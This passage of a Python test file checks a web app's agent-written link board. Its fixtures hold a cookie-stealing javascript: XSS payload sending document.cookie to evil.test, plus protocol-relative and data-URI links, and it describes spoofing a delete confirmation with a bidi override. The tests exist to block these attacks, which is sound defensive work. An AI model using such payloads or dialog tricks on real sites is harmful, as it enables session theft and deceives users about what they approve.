app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
|
||
assert app.state.templates.env.filters["dur"](3600) == "1h"
|
||
|
||
|
||
def test_the_link_board_refuses_to_render_a_script_href(tmp_path):
|
||
"""A LIVE INJECTION VECTOR, found by design-dev on the way past R2.
|
||
|
||
17 agent handles append to the standing board and the operator clicks its
|
||
rows. `booth_target`'s http(s) check is about WHICH BOOTH a url names, not
|
||
about whether an href is safe to render, and nothing guarded the render.
|
||
|
||
⚠ The first check of this nearly dismissed it: `javascript:alert(1)` IS
|
||
rejected — by the markdown link regex, because the parens break `](...)`.
|
||
That is an accident, not a guard, and a paren-free payload sails through.
|
||
|
||
The row still RENDERS, because the operator should see that something was
|
||
posted and refused; it just must not be a link."""
|
||
b = tmp_path / "links"
|
||
b.mkdir()
|
||
b.joinpath("links.md").write_text(
|
||
"- [steal it](javascript:document.location='http://evil.test/'+document.cookie)"
|
||
" <sub>· rogue · 2026-09-23 10:00</sub>\n"
|
||
"- [protocol relative](//evil.test/x) <sub>· rogue · 2026-09-23 10:01</sub>\n"
|
||
"- [data uri](data:text/html,xss) <sub>· rogue · 2026-09-23 10:02</sub>\n"
|
||
"- [legitimate](https://ok.test/r) <sub>· fine · 2026-09-23 10:03</sub>\n"
|
||
)
|
||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||
html = c.get("/b/links/").text
|
||
|
||
assert 'href="https://ok.test/r"' in html, "a good row must still be a link"
|
||
for bad in ("javascript:", "//evil.test/x", "data:text/html"):
|
||
assert f'href="{bad}' not in html, f"{bad} rendered as an href"
|
||
# refused, not hidden: the operator sees that it was posted
|
||
assert "evil.test" in html, "the refused row vanished instead of being shown inert"
|
||
|
||
|
||
def test_the_board_delete_dialog_cannot_be_rewritten_by_a_link_row(tmp_path):
|
||
"""A board row's description and URL come from any of seventeen agent
|
||
handles, and they are pasted into a `confirm()` dialog — which is the text
|
||
the operator reads before approving a delete.
|
||
|
||
Escaping protects the PAGE and does nothing here: `confirm` renders a plain
|
||
string, so a bidi override (U+202E) or a newline re-orders or hides what he
|
||
is consenting to, and the row shown is not the row removed.
|
||
|
||
Found by design-dev, the same class as the wipe dialog he had just fixed on
|
||
the Desk. Defeating change: dropping `shown()` from either argument."""
|
||
b = tmp_path / "links"
|
||
b.mkdir()
|
||
b.joinpath("links.md").write_text(
|
||
"- [innocentgnihtemos esle](https://ok.test/a) <sub>· rogue · 2026-09-23 10:00</sub>\n"
|
||
)
|
||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||
html = c.get("/b/links/").text
|
||
|
||
assert "function shown(" in html, "the dialog sanitiser is gone"
|
||
# both arguments must go through it, not just one
|
||
assert "shown(btn.getAttribute('data-desc')" in html
|
||
assert "shown(btn.getAttribute('data-url')" in html
|